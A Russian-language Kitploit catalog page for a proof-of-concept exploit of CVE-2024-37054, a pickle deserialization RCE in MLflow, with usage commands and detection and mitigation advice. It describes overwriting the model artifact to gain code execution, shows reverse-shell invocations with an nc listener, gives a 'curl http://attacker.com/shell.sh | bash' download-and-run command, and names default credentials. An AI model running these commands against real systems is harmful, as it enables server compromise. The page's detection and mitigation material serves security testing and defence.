Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ben-slates/cve-2024-37054
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Эксплойт доказательства концепции для CVE-2024-37054, RCE на основе десериализации pickle в MLflow Tracking Server. Автоматизирует перезапись артефактов и доставку полезной нагрузки для аутентифицированного удаленного выполнения кода.

Репозиторий
53 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-37054 — MLflow Pickle Deserialization RCE

Python CVE CVSS Affected License

Эксплойт доказательства концепции для критической уязвимости десериализации pickle в MLflow Tracking Server, позволяющий аутентифицированное удаленное выполнение кода.

⚠️ Только для образовательного и авторизованного тестирования безопасности. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.


Обзор уязвимости

ПолеЗначение
CVE IDCVE-2024-37054
CVSS Score8.8 (ВЫСОКИЙ)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected VersionsMLflow < 2.14.3
Patched VersionMLflow ≥ 2.14.3
Vulnerability TypeCWE-502: Deserialization of Untrusted Data
Attack VectorСетевой
Privileges RequiredНизкие (действительные учетные данные)
User InteractionНет

Описание

MLflow Tracking Server десериализует артефакты моделей через модуль Python pickle при загрузке моделей для инференса. Аутентифицированный злоумышленник может перезаписать артефакт python_model.pkl в репозитории артефактов MLflow вредоносной pickle-нагрузкой. Когда модель впоследствии загружается (например, во время запроса на предсказание), нагрузка десериализуется, выполняя произвольный код на сервере.

Необходимые условия для эксплуатации:

  • Сетевой доступ к MLflow Tracking Server
  • Действительные учетные данные MLflow (по умолчанию или другие)
  • Права на запись в артефакты (предоставлены всем аутентифицированным пользователям)

Влияние

Успешная эксплуатация приводит к удаленному выполнению кода на уровне привилегий процесса сервера MLflow, что может привести к полной компрометации системы, краже данных, боковому перемещению или получению постоянного доступа.


Как работает эксплойт

  1. Регистрация модели — Загружается легитимный набор обучающих данных для создания нового запуска MLflow и регистрации версии модели со стандартными артефактами.
  2. Перезапись артефакта — Артефакт python_model.pkl заменяется специально сформированной pickle-нагрузкой через PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Триггер десериализации — Запрос на предсказание заставляет MLflow вызвать pickle.load() для скомпрометированного артефакта.
  4. Выполнение кода — Метод __reduce__ pickle вызывает os.system(), выполняя команду атакующего.

Нагрузка использует os.system() (встроенный C) вместо cloudpickle для максимальной совместимости между версиями и избежания проблем с байткодом, специфичным для версий Python.


Установка

Требования: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Использование

root@kitploit:~
# Запустите слушатель
nc -lvnp 4444

# Запустите эксплойт
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Примеры

root@kitploit:~
# Учетные данные по умолчанию, базовый reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Пользовательские учетные данные MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# Вход в приложение + учетные данные MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Пользовательская команда вместо reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Нацеливание на конкретный эксперимент, увеличение задержки для медленных серверов
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Подробный вывод
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Параметры


Обнаружение

Сетевые индикаторы

  • PUT-запросы к конечным точкам /api/2.0/mlflow-artifacts/artifacts/
  • Неожиданные временные метки изменения python_model.pkl
  • POST /api/2.0/mlflow/runs/search сразу после изменений артефактов

Индикаторы на хосте

  • Неожиданные вызовы os.system() из процессов MLflow
  • Дочерние процессы Python, порождаемые рабочими процессами MLflow
  • Исходящие соединения от сервера MLflow к неизвестным хостам

Запросы к журналам

root@kitploit:~
# Изменение артефакта в журналах доступа
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# Мониторинг целостности файлов
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Смягчение

Немедленно:

  • Обновить MLflow до версии 2.14.3 или выше
  • Сменить все учетные данные по умолчанию или слабые пароли
  • Ограничить сетевой доступ к конечным точкам MLflow API
  • Проверить историю изменений артефактов на признаки подделки

Долгосрочно:

  • Внедрить подпись артефактов и проверку целостности перед загрузкой моделей
  • Включить контроль сигнатур моделей и, где возможно, ограничить использование pickle-флейворов моделей
  • Включить аудит журналов MLflow и оповещения о неожиданных записях артефактов

Протестированные среды

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Различные конфигурации развертывания: локальная, Docker, Kubernetes

Ссылки

  • NVD — CVE-2024-37054
  • MLflow Security Advisory
  • CWE-502: Deserialization of Untrusted Data
  • MLflow Documentation — Model Registry

Отказ от ответственности

Этот инструмент предназначен исключительно для:

  • Исследователей безопасности, изучающих уязвимости десериализации
  • Специалистов по пентесту, действующих в рамках письменной авторизации
  • Системных администраторов, проверяющих свои собственные развертывания MLflow
  • Образовательного использования в контролируемых лабораторных средах

Не используйте этот инструмент на любой системе, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Автор не несет ответственности за неправильное использование.


Лицензия

MIT — см. LICENSE для получения подробной информации.


Контакты

📧 [email protected]
🐛 Сообщить о проблеме

Скачать инструмент
АргументОписание
targetURL целевого приложения
mlflowURL MLflow Tracking Server
lhostХост атакующего для обратного вызова reverse shell
lportПорт атакующего для обратного вызова reverse shell
--mlflow-creds USER:PASSУчетные данные MLflow (по умолчанию: admin:password)
--app-usernameИмя пользователя для входа в приложение
--app-passwordПароль для входа в приложение
--app-login-urlПуть к конечной точке входа
--upload-urlПуть к конечной точке загрузки
--predict-urlПуть к конечной точке предсказания
--experiment-id IDНацеливание на конкретный ID эксперимента
--delay SECONDSЗадержка между шагами (по умолчанию: 2 с)
--cmd COMMANDПользовательская команда для выполнения
--verbose / --quietУправление подробностью вывода
--no-colorОтключить цветной вывод